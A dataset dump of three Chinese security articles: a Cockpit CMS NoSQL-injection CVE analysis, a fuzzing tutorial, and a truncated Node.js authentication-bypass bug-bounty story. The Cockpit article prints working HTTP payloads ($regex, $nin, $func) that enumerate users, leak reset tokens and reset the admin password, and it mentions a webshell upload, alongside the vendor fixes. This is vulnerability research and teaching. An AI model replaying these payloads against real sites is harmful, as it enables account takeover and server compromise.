text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# CockpitCMS NoSQL注入漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在网络攻击方法中，SQL注入一直是最流行的攻击之一，随着NoSQL数据库，如MongoDB、Redis的出现，传统的SQL注入不再可行。但是这并不意味着NoSQL数据库就百分百安全。NoSQL注入漏洞第一次由Diaspora在2010年发现，到现在，NoSQL注入和SQL注入一样，如果开发者不注重，同样会对企业服务器造成致命威胁。
这次，根据PHP CMS Cockpit中存在的几个漏洞，来学习NoSQL
Injection。这几个漏洞被分配了3个CVE，分别是CVE-2020-35848、CVE-2020-35847和CVE-2020-35846。
从这个例子中，我们可以看到一个简单的NoSQL注入是如何一步步得到管理员权限，最后造成RCE严重后果的。
## 环境搭建
直接使用docker搭建，推荐cockpit自带的dockerfile：
FROM php:7.3-apache
RUN apt-get update \
&& apt-get install -y \
wget zip unzip \
libzip-dev \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
sqlite3 libsqlite3-dev \
libssl-dev \
&& pecl install mongodb \
&& pecl install redis \
&& docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \
&& docker-php-ext-install -j$(nproc) iconv gd pdo zip opcache pdo_sqlite \
&& a2enmod rewrite expires
RUN echo "extension=mongodb.so" > /usr/local/etc/php/conf.d/mongodb.ini
RUN echo "extension=redis.so" > /usr/local/etc/php/conf.d/redis.ini
RUN chown -R www-data:www-data /var/www/html
VOLUME /var/www/html
CMD ["apache2-foreground"]
上面的dockerfile文件会搭建一个支持nosql数据库的httpd服务。但cockpit CMS还没有安装。需要进入docker
exec进入容器内部自行下载安装。
然后访问 http://your-ip:8000/cockpit/install/index.php
，先进行自动安装。初始密码为`admin/admin`。
安装完成后访问 http://your-ip:8000/cockpit/index.php 页面即可登录。
## 漏洞1：/auth/check
打开burp，在登录页面抓个包，尝试下面的payload：
POST /cockpit/auth/check HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 168
Connection: close
{
"auth":{
"user":{
"$eq": "admin"
},
"password":[
0
]
},
"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}
我们查看相对应的源码`modules/Cockpit/module/auth.php`，可以看到：
我们可以看到，在`modules/Cockpit/module/auth.php`文件的第33行，首先，程序会查找用户是否存在用户是否存在，只有在用户存在的情况下，才会执行第35行if条件句中的`password_verify()`逻辑（`&&`运算符是短路求值，或者说是惰性求值）。所以如果返回的结果是
**password_verify() expects parameter 1 to be string** ，则说明，`$user =
admin`在数据库中是存在的，`$app->storage->findOne()`成功返回了查询结果。
而上述漏洞的关键点在于，`$filter['user']`从`$data['user']`获取到之后，在被传入`$app->storage->findOne`进行数据库查询之前，完全没有经过过滤。因此，我们可以通过MongoDB操作符来进行NoSQL
注入。
在这里，我们可以总结一些可用的MongoDB操作符注入姿势。
### $eq
`$eq`表示equal。是MongoDB中的比较操作符。
语法：
{
<field>: { $eq: <value> }
}
### $regex
`$regex`是MongoDB的正则表达式操作符，用来设置匹配字符串的正则表达式。`$regex`操作符是在MongoDB盲注中最经常被使用的，我们可以借助它来一个一个字符地爆破数据库。
语法：
{
<field>: { $regex: /pattern/, $options: '<options>' }
}
{
<field>: { $regex: 'pattern', $options: '<options>' }
}
{
<field>: { $regex: /pattern/<options>}
}
其中`<options>`是模式修正符，在MongoDB中包含`i`，`m`，`x`和`s`四个选项。
我们可以用`$regex`进行盲注，来猜测用户名，比如：
POST /cockpit/auth/check HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 169
Connection: close
{
"auth":{
"user":{
"$regex": "a.*"
},
"password":[
0
]
},
"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}
说明用户名以`a`开头的用户存在。
`"$regex": "ab.*"`：
以`ab`开头的用户不存在，那返回的信息自然是 **User not found** 。
### $nin
`$nin`表示查询时不匹配数组中的值，语法：
{
field: { $nin: [ <value1>, <value2>, ..., <valueN> ] }
}
比如现在后台一共有4个用户：
如果我们已经知道了用户admin，Poseidon和Sirens，那么我们还可以用`$nin`来加快盲注暴力破解的速度。
payload：
{
"auth":{
"user":{
"$nin": [
"admin",
"Poseidon",
"Sirens"
],
"$regex": "Co.*"
},
"password":[
0
]
},
"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}
再查找以`a`，`P`或是`S`开头的用户就会提示用户不存在。
### 自定义$func/$fn/$f 操作符
在Cockpit的 **lib/MongoLite/Database.php**
的[`evaluate`](https://github.com/agentejo/cockpit/blob/0d01412e1209468c23f0f4c49eccf959059e415e/lib/MongoLite/Database.php#L432)函数中重写和新增很多MongoDB操作符，其中`$func`、`$fn`和`$f`操作符比较有意思，因为该操作符允许调用callable
PHP函数：
`$func`操作符并不是MongoDB中定义的标准操作符，在Cockpit
CMS中，该操作符可以调用任何带有单个参数的PHP标准函数，其中`$b`是我们可控的。
所以我们可以构造这样的payload：
{
"auth":{
"user":{
"$func":"var_dump"
},
"password":[
0
]
},
"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}
一次性得到了全部用户名。
将`$func`换成`$fn`或是`$f`，也是一样的效果：
{
"auth":{
"user":{
"$fn":"var_dump"
},
"password":[
0
]
},
"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
}
## 漏洞2：/auth/requestreset
在忘记登录密码的情况下，Cockpit提供了密码重置功能，相关逻辑在`modules/Cockpit/Controller/Auth.php`中，和登录逻辑一样，传入`$this->app->storage->findOne()`进行查询的参数`$query`完全没有经过处理：
在这里，我们可以用相同的方法来获取用户名：
POST /cockpit/auth/requestreset HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://your-ip:8000/cockpit/auth/forgotpassword
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 33
Connection: close
Cookie: 8071dec2be26139e39a170762581c00f=e0050af94b1d4e88d31e7695c2b5142a
{
"user":{
"$func":"var_dump"
}
}
## 漏洞3：/auth/resetpassword
从前面的两处漏洞，已经可以得到后台的用户账户名了。接着我们可以利用漏洞3重置密码。
重置密码功能处理函数为`resetpassword()`，位于文件`modules/Cockpit/Controller/Auth.php`：
在第150行，`$token`参数被传入查询之前，没有经过过滤净化，同样，在这样存在一个相同的漏洞：
{
"token":{
"$func":"var_dump"
}
}
## 漏洞4：/auth/newpassword
无独有偶，在同文件的`newpassword`中，同样没有对`$token`参数做净化：
同样存在NoSQL注入漏洞：
### 获取用户密码
当获取了正确了`$token`之后，重新请求`auth/newpassword`：
POST /cockpit/auth/newpassword HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 60
Connection: close
{
"token":"rp-bb6dfcbc16621bf95234355475d53114609bc6e8c336b"
}
可以看到，我们得到了admin用户的邮箱信息和hash之后的密码！
hash值`$2y$10$IkeINxb9VlaZUJ5jwyBNdO\/x8QFlCd1UO8zLiZExGDLVFVJtjyoz6`是用PHP
built-in加密函数`password_hash`加密的。如果你有足够大的密码库，我们也可以暴力破解。
### 重置用户密码
如果你没有那么多时间或是设备破解密码，我们可以借助`resetpassword`中的漏洞来直接重置密码：
{
"token":"rp-bb6dfcbc16621bf95234355475d53114609bc6e8c336b",
"password":"123456hahha"
}
密码重置成功！
## RCE
当我们手握管理员账号密码之后，我们能做的事情就变多变危险了。接下来我们看看能不能向后台上传个webshell。
登录管理员账号，在后台发现了几个可以利用的功能，比如名为`Assets`和`Finder`的功能模块。
它们都有一个上传文件的功能，虽然有文件大小限制，但是上传个shell足够了：
访问我们上传的shell，直接在目标远程服务器上执行命令：
## 官方修复
接下来看看开发者是怎么修复这些漏洞的。
### 限制用户传入参数为字符串
**modules/Cockpit/Controller/Auth.php** ：
`check`函数：
通过限制用户的输入为string类型来防止PHP数组注入。
`newpassword`函数：
`resetpassword`函数：
### 移除$func/$fn/$f操作符
**lib/MongoLite/Database.php ：**
对于危险操作符`$func`、`$fn`和`$f`，cockpit cms开发者选择的修复方案是直接移除这些操作符来杜绝漏洞。
## NoSQL注入其他方法
当然，NoSQL注入的方法不仅仅是上述攻击cockpit cms中提到的方法，实际上，早在2015年的一篇文章 **No SQL, No
Injection？Examining NoSQL Security** ，来自IBM的安全员Aviv Ron就总结了几种NoSQL注入方法，分别是：
（1）PHP数组注入
（2）MongoDB OR注入
（3）任意JavaScript注入
首先PHP数组注入在CTF比赛以及在PHP
CMS应用数组中最常见，也就是本文主要内容所使用的方法，所以这里就不再赘述了。这里简单介绍一下后面两种方法（内容总结自上面提到的2015年的[文章](https://arxiv.org/ftp/arxiv/papers/1506/1506.04082.pdf)）。
### MongoDB OR注入
SQL注入漏洞的一个常见原因是从字符串文本构建查询，其中包括未使用适当编码的用户输入。虽然这种注入方式因为JSON查询而变得更难实现，但是也不是完全没有可能的。
一些开发者可能采取这样的方式将用户输入转成JSON，而不是使用PHP自带的array函数：
在正常情况下，拼接后可以得到：
{ username: 'tolkien', password: 'hobbit' }
如果攻击者构造这样的恶意输入：
拼接后的结果为：
`$or`就表示对后面的`[]`中的内容进行OR语句操作，而一个`{}`查询语句永远返回`TRUE`。
所以这条语句就相当于：
SELECT * FROM logins WHERE username = 'tolkien' AND (TRUE OR ('a' = 'a' AND password = '')) #successful MongoDB injection
只要用户能够提供正确的用户名就可以直接登录，而不需要密码校验。
### NoSQL JavaScript注入
NoSQL数据库的另一个特性是可以执行JavaScript语句。如果用户的输入为转义或未充分转义，则Javascript执行会暴露一个危险的攻击面。
例如，一个复杂的事物可能需要javascript代码，其中包括一个未转义的用户输入作为查询中的一个参数。
比如以一个商店为例，商店中有一系列商品，每个商品都有价格和金额。开发人员想要获取这些字段的总和或者平均值，开发者编写了一个map
reduce函数，其中`$param`参数接受用户的输入：
因为没有对用户的输入进行充分的过滤，所以攻击者可以构造这样的payload：
上面代码中绿色的部分的作用是闭合function()函数；红色的部分是攻击者希望执行的任意代码。最后最一部分蓝色的代码调用一个新的map
reduce函数，以平衡注入到原始语句中的代码。
得到的效果为：
如果要防止JavaScript注入攻击，可以直接禁止数据库语句中JavaScript语句的执行（在 _mongod.conf_
中将`javascriptEnabled`设为`false`）或者是 **加强对用户输入的过滤** 。
### 缓解与检测
我们可以看到的是，无论哪种类型的注入方法，它们的防御或者说是缓解措施，最重要的一点就是，永远不要无条件相信用户的输入，对于来自外部的输入，一定要小心小心再小心。
最后，关于检测，我们可以尝试用机器学习的方法，用恶意和正常的NoSQL查询语句建模训练来实现NoSQL注入检测。后来我在调研中发现，已经有研究者这样做过了，并且发表了相关的[论文](https://ieeexplore.ieee.org/document/8754304)。 | 社区文章 |
# Fuzzingbook学习指南 Lv1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
强网杯以来就一直很想系统性的学习fuzzing技术，fuzzingbook可以说是fuzzing技术学习的圣经，但因为它全英文编写，且长度感人，因而很多人都望而止步。我将自己的学习经验分享给大家，希望能帮助大家更好的学习fuzzing技术。
## fuzzing是啥？
在98年的一个暴雪天，Madison教授在使用电话线（是的，那时候都是用电话线传递信号）远程访问学校的电脑，但由于当时雷电交加，传输中有些数据产生了差错，导致很多命令行程序频繁发生错误，教授觉得程序猿干得太不行了，程序健壮性太差了，于是他就让学生开始研究程序测试的问题，希望能帮助程序猿写点靠谱的程序，最终在此基础上创造了fuzzing技术。
fuzzing的官方译名叫做模糊测试，顾名思义，它是用“模糊”的输入对程序进行测试，找到程序漏洞、错误的一种技术。所谓的模糊，其实就是输入的不确定。
举个例子，你可以打开你linux下的bc程序（这是一个数学表达式计算器，你输入数学报表达式，它会输出对应的结果），随便在键盘一顿狂按，然后大力敲击回车进行输入，bc十有八九会告诉你，你输入的不是有效的表达式，恭喜你，你完成了一次“模糊”的程序测试。最最最简单的fuzzing，就是自动化进行你刚才的操作。
当然，就这么随机生成字符串显然是不够“聪明”，你用这玩意找出你身边路由器漏洞点的概率无限接近于0，所以我们要用各种技术来不断完善我们的fuzzing程序，比如代码覆盖等等技术，这在后面的文章中我们会详细阐述。
## fuzzing程序的结构
从上面的例子我们可以看出，fuzzing其实就是两部分构成：
* 随机敲打键盘生成输入，我们管干这活的伙计叫fuzzer
* 输入到别的程序，我们管干这活的伙计叫runner
好了，现在我们来写写这两个小东西，千万别往难了想，就实现我上面说的功能即可，我相信你只要会python，都能写的出来。
def fuzzer(max_length=100, char_start=32, char_range=32):
str_len = random.randrange(0, max_length + 1)
# 随机生成字符串长度
fuzzing = ""
for i in range(0, str_len):
fuzzing += chr(random.randrange(char_start, char_start + char_range))
return fuzzing
我们用random模块来进行随机数的生成。首先我们随机生成一个数用作字符串的length，然后就随机生成length个随机字符，拼起来就是随机生成的字符串了，返回即可。
我们设定函数有三个参数，分别是字符串的最大长度、字符的开始位置、字符的范围大小，这是为了我们能够一定程度上指定生成字符串的格式。比如，有些情况下我们希望只生成数字测试字符串，那我们就可以指定char_start
= ord(‘0’)。
def runner(program,FILE)
result = subprocess.run([program, FILE],
stdin=subprocess.DEVNULL,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True)
return result
对于runner来说，有两个参数，一个是目标程序的路径program，一个是存放输入数据的文件路径。因为我们需要将数据作为输入写到别的程序中，所以我们用到了
subprocess模块，他可以打开一个子程序，并指定程序的标准输入、标准输出、标准错误信息等参数。具体的参数大家可以查阅手册，这里就不展开介绍了。
函数最终返回的是程序的“状态”，我们可以利用result来查看程序是否发生了奔溃等问题
result.stdout
#程序的标准输出
result.stderr
#程序的标准错误输出
当然，runner需要我们有一个存放输入数据的文件，如果你用过fuzzing程序，比如peach、afl-fuzz等等，你应该会记得它们都有input、output两个文件夹，这俩其实存放的就是输入的数据和输出的程序状态，也就是我们上代码中的fuzzing、result两个变量，下面的代码就可以实现文件的存取功能
FILE = os.path.join(tempdir, basename)
# tempdir是目录名，basename是文件名
data = fuzzer()
# 使用fuzzer生成字符串
with open(FILE, "w")as f:
f.write(data)
# 将字符串保存在文件中
接下来就让我们来试试吧，我们用fuzzer生成的字符串来测试一下bc，我们就简单写一个循环调用fuzzer，不停输出result.stderr即可
parse error
illegal character: &
我省略了大部分错误信息，只选取了主要部分，可以看到程序报的错误主要就是解析错误、非法字符，很好理解，解析错误就是我们输入的字符串无法被当作表达式进行处理，而非法字符就是我们输入的字符压根不是数学上有的。但是要注意，虽然这是stderr，但是我们的程序并没有崩溃或者停止运行，这是“被程序猿预料到的”错误，这种错误说明程序编写是健壮的，我们之后提到的错误一般都是程序奔溃或者停止运行的错误，我们可以打印一下程序的返回值来确定程序是否正常。
print(result.returncode)
这代表程序的返回状态，它的值一直是0，说明程序正常结束。可以看到，bc程序在我们的简单测试中成功存活，恭喜这些程序猿不用被祭天。
如果你是要对自己的程序进行检测，那你还可以简单在程序编译时使用这样的指令：
clang -fsanitize=address -g -o program program.c
有了这条指令，程序在奔溃时会打印出详细的错误信息，比如堆栈信息、错误信息等，非常全面，我们可以利用这些信息进一步排查问题。当然如果你开了这个选项，运行的速度是必然要下降的，所以仅限测试期间使用，真正发布程序时可不要带这个选项。
好了，你现在可以到处宣传你自己写了一个fuzzing程序了，只不过它还是个lv1的史莱姆，不过不用担心，它会在我们后续的文章中慢慢进化，最终变成lv100的超级史莱姆。现在就让我们先来试试这个小东西能干点啥。
## 程序测试
上面我们完成了简单的fuzzing程序，但是我们还需要恶补一些软件测试相关的知识，这是我们未来构建fuzzer函数的重要支撑。我们就一边测试我们的史莱姆，一边进行学习
def my_sqrt(x):
"""Computes the square root of x, using the Newton-Raphson method"""
approx =None
guess = x / 2
while approx != guess:
approx = guess
guess = (approx + x / approx) / 2
return approx
这是fuzzingbook上给的一个函数，它使用牛顿法来计算给定x的平方根。你可以想象这是你舍友的面试题目，他写了上面的代码，但是提交了n遍都有样例无法通过，现在你要帮助他改改这个程序。
我们先用我们的fuzzing程序简单检查一下，为了简单，我们只生成最大长度为10的字符串：
for i in range(0,100):
data = fuzzer(max_length=10)
print(data)
print(my_sqrt(data))
你可以尝试一下，结果不堪设想，基本上没有能运行完的时候，直接就是报错报错报错，但是经过测试我们也知道，程序确实是充满问题，而且我们也可以通过发生错误的输入，来反推程序是哪里出了问题。下面就让我们来完善这个程序。
### 长度陷阱
在以往参加的自动化漏洞挖掘比赛中，我们往往都会先无脑发送一波超级无敌长的字符串，因为大多数程序并没有考虑输入的长度限制，如果你输入的字符串过大，必然会导致程序直接奔溃。所以我们往往会第一步先设置输入字符串的长度，比如这里我们就可以指定长度为8，如果输入的字符串的长度大于8，我们就直接将其舍弃掉。
### corner数据
如果你打过acm或者参加过学校的oj测试，你一定会优先考虑：有没有一些特殊的数据现在的函数无法处理？这样的数据我们管它叫做corner，也就是经常注意不到的边缘数据。显然，对于我们的函数，0和负数就是边缘数据，这样的输入从逻辑上，它们不能求平方根；从代码上，它们会导致代码失控。所以，我们需要限制这样数据的输入，或者是对这样的数据进行单独处理
if x<0 :
print("这玩意不能求平方根")
return err_code
elif x == 0:
return 0
其中的错误码我们可以指定为-1，目的是让上层函数知道返回的值出错了即可。
当然，如果你的程序足够复杂，很可能会出现输入一个数迟迟算不出来结果的问题，这种情况我们也必须考虑在内，我们可以让程序函数有最大运行时间限制，一旦超过这个限制，你可以认为自己的程序处理不了这样的输入，进而返回错误信息。你甚至可以利用自己的错误信息，更新限制输入的最大数据，进而进行程序的简单自我完善。
### 非法输入
上面fuzzer生成的字符串，很多都是a、b这样的字母或者是其他字符，不是标准的数字，这样的输入就是不合法的，用户可不会管你程序支不支持，他们可是什么都敢往里放，所以我们必须进行处理，防止用户输入不合法的输入
if x.isdigit():
#our code
else:
print("你输入的什么玩意？")
### 逻辑错误
除了这些小错误，其实我们最常遇见的还是程序的逻辑错误，比如这个程序，相信你的同学是不会证明牛顿法到底能不能求出平方根的，所以这就需要我们用大量的数据进行检查，当然，从理论上来讲，再多的测试也不可能证明你的程序是正确的，但是我们可以通过测试说明程序在“大多数”情况下可以使用。
我们需要用到几乎所有语言都会提供的一个函数——assert。它也被叫做断言，效果就是检查它后面的表达式是否成立，比如：
assert my_sqrt(4) == 2
如果成立，什么事都不会发生，如果不成立则会报错。但是问题又来了，我们知道有一些数的平方根是小数，我们没法指定非常准确的数字，这又该怎么办呢？我们可以使用一个误差变量来进行检查，只要两个数的绝对值在误差范围内，就可以认为他俩是相等的。
def assertEquals(x, y, epsilon=1e-8):
assert abs(x - y) < epsilon
那么问题就又来了，我们总不能老是手动指定数字来进行检查吧？这样忙活一天都进行不了几组检查。这里就需要我们用到程序的性质了，比如这里我们的程序是求平方根，那么我们知道，平方根的平方应该就是等于原来的数，我们可以根据这个性质来自动检查。当然这是因为这个程序比较简单，所以我们可以很容易想到这一步，往后我们要进行程序测试时，这一步往往是最难的。
assertEquals(x,x*x)
### fuzzing测试
好了，有了上面的修改，我们再次尝试使用fuzzing进行测试
for i in range(0,1000):
data = fuzzer(max_length=10)
x = my_sqrt(data)
assertEquals(x,x*x)
你可以看到程序已经不会奔溃了，大多数错误情况他也会输出错误信息，程序的健壮性可以说是大大提高了。恭喜你的同学暂时合格了。
## 软件安全
上面fuzzing技术实现软件测试，为程序猿提供了程序修改的思路，这次我们摇身一变，化身安全研究猿，再来看看fuzzing在程序安全方面发挥的重要作用。为了方便使用，我们下面不会使用runner类进行测试，我们会通过python写几个简单的小程序，直接调用fuzzer进行测试
### 缓冲区溢出
这应该是二进制选手最熟悉的一种漏洞，常见的有栈溢出、堆溢出等等，堆溢出的level太高，别说是“傻乎乎”的fuzzer，就是CTFer去做都不好搞，而且堆溢出本身和fuzzer的“八字不合”，fuzzer一般是通过程序出错、奔溃来反映程序出现了问题，但是堆溢出往往是构造复杂的堆结构，通过溢出修改堆块信息进而拿到shell，利用一般的fuzzer是很难对堆溢出进行漏洞挖掘的，我们之后文章中会再度提到这个问题，此处我们就以栈溢出和一个堆分配空间过大的问题为例。
def stackOverFlow(str):
buffer = "1111111111"
if len(str) > len(buffer):
print("栈溢出了兄弟！")
很显然如果我们的str长度超过了10，就会触发栈溢出问题，一旦程序发生了奔溃，我们就可以考虑程序是否出现了栈溢出的问题，从而进一步构造payload进行利用。
当然在c语言程序中，由于栈的构造（在我们的局部变量之前还保存了ebp、返回地址、函数参数等信息），有时候我们虽然是触发了栈溢出，但是由于溢出的东西比较少，程序还是能“坚强”的完成运行，但考虑到fuzzing进行数不清的数据测试，这个问题不会对我们的fuzzing产生影响。
cin>>size;
int * p = (int *)malloc(size);
这个错误相信大家都可以看出来，攻击者只要输入一个足够大的数，程序就算是当场完蛋了。
### 信息泄漏
这其实和上面软件测试中提到的非法输入有些相似，都是因为输入的不合法导致了一些问题，我们常常可以看见舍友们半夜敲oj写程序时敢于“放飞自我”，写出这样大逆不道，让安全研究猿吐血三升的程序：
cin>>index;
cout<<arr[index];
这样简单的两行代码就有着“卧龙凤雏”两大错误：
* 数组其实就是指针的语法糖，只是为了让使用者易于理解、便于使用，实际上在底层，下面两种结果是完全等价的
arr[index]
*(arr+index)
所以你的写法是让使用者获得了一个自由的指针，它约等于随便访问的权利，会泄漏你的各种数据
* 如果输入的东西引发了指针越界等问题，会导致程序直接奔溃。
### 完整性缺失
很多时候我们在进行漏洞利用时，都需要构造特殊的payload，比如说我们会输入一些地址甚至是shellcode，如果程序没有完整性检查，就会导致我们的程序对于这些非法输入视而不见，相反，良好的完整性检查能让漏洞利用的难度直线上升。这里的完整性是对数据的特殊规定，和上面提过的非法输入还不太一样，比如程序需要输入一个电话号码，输入字符串就是违背了上面的非法输入原则，但输入的数字我们还可以进一步做约束，比如电话开头必须是1，再比如号码必须是11位等等。
def check(str):
assert str.len() == 11
assert str[1] == '1'
## 总结
在这篇文章中我们简单实现了自己的fuzzing，并用它测试了一些程序，算是初步了解了fuzzing是个什么东西。但就像前文中说的，现在它还只是一个lv1的史莱姆，这一篇中我们也算是打了不少小怪，下一篇中也该让它升级了，让它的fuzzer变得更加“聪明”。 | 社区文章 |
翻译自：<https://medium.com/bugbountywriteup/authentication-bypass-in-nodejs-application-a-bug-bounty-story-d34960256402>
翻译：聂心明
hi，大家好，
在这篇文章中，我将完整介绍我在私有src中发现的一个漏洞，这个漏洞可导致nodejs的身份认证被绕过。并且我将介绍如果我遇到类似的接口（只提供单一登录表单的接口）我将采取什么样的方法去测试，以发现我所感兴趣的东西。
# 方法
如果你挖过大公司的漏洞（像[GM](https://hackerone.com/gm),
[Sony](https://hackerone.com/sony), [Oath
(Yahoo!)](https://hackerone.com/oath) 或
[Twitter](https://hackerone.com/twitter)
等），首先做侦查的第一件事情就是去运行子域名探测工具。你会发现潜在的攻击目标，有时候你会发现这个列表中会有几百个（如果不到一千个）不同的域名。如果你像我一样主要关注web应用的话，你可以使用[Aquatone](https://github.com/michenriksen/aquatone)
或者类似的工具，这些工具可以探测服务器开了哪些常见的端口(80, 443, 8080, 8443 等)
，然后生成一个很棒的html报表，报表的开头就会展示哪些端口是开放的，报表里面还会有网站的摘要信息（Aquatone做的实在是太好了，如果你以前没有用过，我强烈建议你去使用）
但是如果你开始关注结果的话，你会发现发现大多数的网站给你显示的摘要信息要么是404 Not Found，就是401 Unauthorized，还有500
Internal Server Error或者是vpn或者网络设备的默认登录界面，超出漏洞收取范围的第三方应用程序的登录界面，如cPanels,
WordPress。你可能不会接触到那么多的web应用程序的特性，当你运行“arsenal”时就会发现这些特性中潜藏着存储型xss或者sql注入。至少我还没有那么幸运的发现这些东西。
但是有时你会发现一些定制化的网站，这些网站带有登录界面和一些其他的可测试的选项，像是注册或者忘记密码的链接。当我遇到一个网站的时候，我会用下面的几个方法去做测试：
1. 首先第一件事--我会去查看网页的源代码（我列了一个任务清单，你可以去读一下 <https://medium.com/@_bl4de/how-to-perform-the-static-analysis-of-website-source-code-with-the-browser-the-beginners-bug-d674828c8d9a> ）。你会发现一些像JavaScript文件或者css文件等资源文件，这样你就发现一些网站的目录（像/assets,/publish,/script或者类似的目录--你应该检查他们去寻找额外的内容或者没有被链接所指向的一些其他目录）
2. [Wappalyzer](https://www.wappalyzer.com/) （所有主流浏览器中都有这样的插件）能够提供足够多的关于对方服务器的信息---web的服务器版本，服务器端语言，JavaScript库等等）。它会给你目标服务器的所用到的技术栈，然后你就可以选择正确的方法进一步测试。（在新系统里面会有一些机会去发现漏洞，如果目标应用是用Ruby on Rails搭建的，那么用来用来攻击javaEE的exp也可以奏效。）
3. 如果有JavaScript文件，我运行一些静态分析工具去寻找所有暴露的api接口或者是否会存在客户端验证并且验证逻辑会保存在某个地方（如果你是一个web开发者--我希望你能知道客户端仅仅验证用户提供的输入是否过大）
4. 从上一步获得了所有的信息之后，我开始用Burp Suite去测试所有相关的功能（登录，注册，忘记密码等）。我把抓到的数据报文发送到Repeater然后不断的变换着请求的内容（把Content-Type改成application/json, application/xml或者其他的类型，把payload放入请求体中，选择不同的http请求方法，或者改变http的请求头并且寻找所有由我输入导致的服务器报错）。如果应用中有漏洞的话---当你发现它的那一刻，你要观察每一次返回的报文，并且努力观察它们之间的每一次变化---每一次的变化有时真的很小，比如泄露一些服务器的头，特别是，当你把GET请求变成PUT请求时或者当你发送一些畸形的json数据时，服务器会返回一些奇怪的字符。
5. 最后，我运行[wfuzz](https://github.com/xmendez/wfuzz) 去发现一些服务器中被废弃的文件和目录（或者是有意的放在那里，又或者放在那里有其他的用处），我经常使用我的自定义的“Starter Pack”字典，这个字典里面包含网络上最常见的web目录列表（源代码版本控制系统目录，像.git 或者.svn,IDE 目录，像JetBrains的.idea，.DS_Store 文件，配置文件，一般的web接口路径和admin的控制面板目录，tomcat，JBoss，Sharepoint还有类似系统中特殊的文件和目录），这个字典包含的内容大约有4万5千多条并且我发现这些有趣的目录或文件能够帮助我进一步发现网站中的漏洞。
如果上面的步骤都不起作用，那么我就假设这个应用的安全得到了很好的保障或者那里没有可绕过验证的漏洞，或者不用考虑绕过就可以直接进入到程序中。
但是这次玩处理身份验证的接口时给了提供了一些线索。看着这个简单的登录页面，我觉得这个应用应该是自研的，然后我用Wappalyzer快速调查了这个网站的返回数据，结果这个网站是一个
[NodeJS](https://nodejs.org/en/) 应用，这个应用所使用的框架是
[ExpressJS](https://expressjs.com/)
。作为一个全职的web程序员，我用过JavaScript几年并且我在JavaScript中寻找漏洞也颇有经验（[hackerone的感谢列表中常年保持第一](https://hackerone.com/nodejs-ecosystem/thanks) ）--我决定深入挖掘一下，看看能不有一些新发现。
# 发现
我用一些payload去测试这个接口，它应该给我一个错误凭证的错误。典型的post数据应该包含用户名和密码：
POST /api/auth/login HTTP/1.1
Host: REDACTED
Connection: close
Content-Length: 48
Accept: application/json, text/plain, */*
Origin: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1
Content-Type: application/json;charset=UTF-8
Referer: REDACTED/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7
Cookie: REDACTED
{“username”:”bl4de”,”password”:”secretpassword”}
在文章的结尾我将删除一些HTTP头部，因为这些头部和这次的漏洞没有丝毫关系。
返回的报文没有包含任何激动人心的内容，除了一个单独的详细信息，说真的，我没有马上意识到这一点：
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Vary: X-HTTP-Method-Override, Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization
X-Content-Type-Options: nosniff
Content-Type: application/json; charset=utf-8
Content-Length: 83
ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE”
Date: Thu, 11 Oct 2018 18:50:26 GMT
Connection: close
{“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
这个返回信息以为着我的用户名被返回进了square brackets。
Square brackets在JavaScript中的意味着一个数组并且用户名看上去像数组中的元素。为了确定这一点，我发送另一个payload--一个空的数组
{“username”:[],”password”:”secretpassword”}
服务器返回的报文就很让人感到惊喜了
